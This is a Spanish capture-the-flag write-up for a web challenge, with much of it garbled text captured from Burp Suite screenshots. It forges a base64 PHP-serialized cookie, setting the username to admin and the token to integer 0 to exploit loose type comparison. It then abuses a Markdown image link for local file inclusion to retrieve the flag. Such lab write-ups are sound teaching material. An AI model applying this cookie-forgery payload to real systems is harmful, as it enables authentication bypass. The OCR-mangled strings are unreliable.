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DESCRIPCION DEL RETO

Los juglares tuvieron la audacia de ocultar sus secretos en versos y notas, dejando tras
de si un rastro criptico inofensivo a simple vista. Entre leyendas y relatos, se esconde la
llave para descubrir un pasado lleno de enigmas. Atrévete a desvelar el legado oculto de
los juglares y a romper el velo de un pasado en el que la pericia y el simbolismo se funden
en el misterio.

NOTA: La flag es un jpg: flag.jpg

WRITEUP

1. Accede a la web del enlace y encontraras una pestafia de registro / inicio de
sesion. Al no tener un usuario creado, deberas de crear uno nuevo.

Juglar

Registro / Login

Nombre de usuario:
Ingresa tu nombre de usuario
Contrasefia:

Ingresa tu contrasefia

Juglar © 2025

2. Abre Burp Suite e intercepta la peticion al endpoint de /home.php y enviarla al

Repeater.
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Request

Pretty  Raw  Hex 2B n
1 GET HTTP/1.1

2 Host: localhost:B8085

3 Cache-Control: max-age=0

4 Upgrade-Insecure-Requests: 1

5 User-Agent: Mozilla/5.0 (windows NT 10.0; Win64; x64) ApplewebKit/537.36 (KHTML, like Gecko) Chrome/126.0.6478.127 Safari/537.36

6 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif, image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
7 Sec-Fetch-Site: same-origin

8 Sec-Fetch-Mode: navigate

9 Sec-Fetch-User: 71

0 Sec-Fetch-Dest: document

11 sec-ch-ua: "Not/A)Brand";v="8", "Chromium';v="126"

12

13

14

15

6

&

sec-ch-ua-mobile: 70
sec-ch-ua-platform: "Linux"
Accept-Language: en-US
Referer: http://localhost: 8086/

5 Accept-Encoding: qzip deflate, br

Response

Pretty Raw Hex

Render

Juglar

Curiosidades de los juglares

Publicados por los usuarios

anecdotas

# Anécdotas y Relatos

Las anécdotas de los juglares incluyen encuentros con personajes legendarios, episodios cémicos y moment
bienvenida

# Bienvenido a Juglar
Este es un comentario de bienvenida generado automaticamente. En Juglar, cada historia comienza con una

3. Analiza el formato de la cookie. Como se puede observar se trata de texto con
formato de objeto PHP codificado en base64 que contiene el nombre del usuario
autenticado junto con la longitud de la cadena y su tipo. En este caso:

0:4:"User":2:{s:8:"username";s:4:"test";s:5:"token";s:16:"2d6a58
7a7cablaftb"}

=T o
Inspector - IT@x
Request pe (=] -3
Pretty  Rew  Hex B Y = selection 06 (0x6al A | @
u:\ /home . php i
t: Tocolhost: 8086 Sl g

k-t T2000L0VeZVY I YWY 1§ 120] Q6 INRIL € 30103NENTO LeGSr 244 03MEMTYS | JKNE 100NN ENZNTL03CR3D
: Wozilla/5.0 maw NT 10.0; WLnG; 641 AppLENeBKLL/S37.36 (KTML, Like Geckol B
6478127 Safari/537
Decodedfrom:  URL encoding ~ ee
,,,,,,,,;:,,1[,_,.n,:,,lm“,n,,,ﬂm=) 9, mage/aviF, inage/vebp, imge/apng, “/*:0=0. 8, spplication T20001.3Vc2 20 gETNVZZXIuYWIL T t20] QS TnFiLC30103HENTo 1G5 ZW4103MEMTYET | JkNE10DJhNZY ] BhZmT 1030= 2

Decoded from:  Bazefd + ee

0:d:“User*12: (5181 Usernome* 5141 et 3515 *token* 131162 *2460587aTcabofb 1}

“Chromium® jv="126*

it/ e,
tForm: . Applychange
05 t:: 8066/
. deflate, br Request atriutes D -
£

R 0 I TS RE B AreRTTe] IR | fequest query parametes D -
Secuest body oo .
4. Enviala al Decoder.
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Burp Project Intruder Repeater View Help

Dashboard  Target  Proxy  Intruder  Repeater  Collaborator  Sequencer  Decoder ~ Comparer  lLogger  Organizer  Extensions  Learn 3 Settings
T2000UVc2VyljoyOntzOjgbinVzZXJuYW1lljzOjQ6InRIc3QIO3MEN ToidGIrZWAIO3MEMTY6IIkNmMEIODAhN 2N A Y]BhZmIi0 30| @ Text () Hex @
Decodeas ... ~

Encodeas ... ~

Hash ... v

Smart decode

O:4:"User™:2:{s:8:"username";s:4:"test";s:5:"token";5:16:"2d6a587a7cab0afb";} @® Text Hex
Decodeas ... v
Encodeas ... v
Hash ... ~

Smart decode

5. Modificala por '5:admin'y aplica PHP Type Juggling al token poniéndolo como un
entero (i:0). A continuacidn, vuelve a codificarla en formato Base64.

NOTA: PHP Type Juggling se basa en la conversién implicita de tipos en comparaciones
laxas, lo que permite que un entero 0 se considere igual a una cadena no numérica,
facilitando asi la evasién de la validacién.

0:4:"User":2:{s:8:"username";s:5:"admin";s:5:"token";i:0;}

Burp Project Intruder Repeater View Help
Dashboard Target Proxy Intruder Repeater Collaborator Sequencer Decoder Comparer Logger Organizer Extensions Learn o Settings
Tz000UVc2VyljoyOntzOjg6InVzZXJuYW1lljtzOjQ6INRIc3QI03MBENToidGIrZWAIOIMEMTY6I kNmEIODAhN2MhY]BRZmIIO30 @ Text () Hex @)
Decodeas ... v
Encodeas... v
Decodifica de Base64 Hash ... v
Smart decode
0:4:"User":2:{s:8:"username";s:4:"test";s:5:"token";s:16:"2d6a587a7cab0afb";} | ® Text Hex
Decodeas ... v
Encodeas... v
Modifica el contenido Hash .
Smart decode
Decodeas ... v
Codifica de nuevo a Base64
Encodeas ... v
Hash ... v
Smart decode
Tz000UVe2VyljoyOntzOjg6InVzZXJuYW1lljtz OjUSImFkbWIuljtzOjUSInRva2VuljtpOjAT Q== @ Text () Hex
Decodeas ... v
Encodeas ... v
Hash ... v
Smart decode

6. De vuelta en el Repeater, sustituye la cookie y vuelve a enviar la peticién. Analiza
la respuesta obtenida.

Referer: http://localhost:8086/
Accept-Encoding: gzip, deflate, br
Cookie: userdataﬂTzoOOiJVcQVyIjoyOntZOjg6IanZXJuY\~'11IjtszUGIkab\ﬂqutszU6InR\ra2VqutpOjA?fQ:: |
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Curiosidades de los juglares

(® th Catedra de Ciberseguridad (@ ] t SeC

Publicados por los usuarios

anecdotas

# Anécdotas y Relatos
Las anécdotas de los juglares incluyen encuentros con personajes legendarios, episodios cémicos y moment

bienvenida

# Bienvenido a Juglar
Este es un comentario de bienvenida generado automaticamente. En Juglar, cada historia comienza con una

Como se puede observar, ahora aparecen las opciones de editar y borrar ficheros.

7. En el navegador, utiliza la cookie anterior y lee detenidamente todos los
comentarios. Uno de estos contiene un enigma con palabras que pueden ayudar
a deducir la segunda vulnerabilidad: Local File Inclusion.

Voces de Antafo: El enigma

En un ambiente muy local] los juglares compartian cada actuacion formando unafmagen]llena de leyendas. Gracias a la
discreta|inclusion de relatos de diversas culturas y a la|simbdlicalizada de una[pbanderal se tejian misterios en cada verso sin

dejar de honrar la tradicion.

8. Edita ese mismo comentario, pulsando el botén de afadir imagen.
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Editar Comentario: enigma

Contenido (Markdown):

(® th Catedra de Ciberseguridad (@ ] t SeC

9. A continuacion, edita el enlace simbdélico para que apunte a un fichero de imagen
con el nombre de flag, probando distintos formatos. Luego pulsa el botdn de
vista dividida para previsualizar el contenido de Markdown.

|[Flag](./flag-Jpg)
BIH =i %@ o

# Voces de Antafo: El enigma

En un ambiente muy local Ads juglares compartian cada actuacién formando una imagen llena de leyendas. Gracias a la discreta inclusion de relatos de diversas culturas y a la

simbdlica izada de ungbandera, se tejian misterios en cada verso sin dejar de honrar la tradicion.

[Flag]

Voces de Antafio: El enigma

En un ambiente muy local, los juglares compartian cada actuacion formando una imagen llena de leyendas. Gracias a la discreta inclusién de relatos de diversas culturas y a la
simbdlica izada de una bandera, se tejian misterios en cada verso sin dejar de honrar la tradicién.
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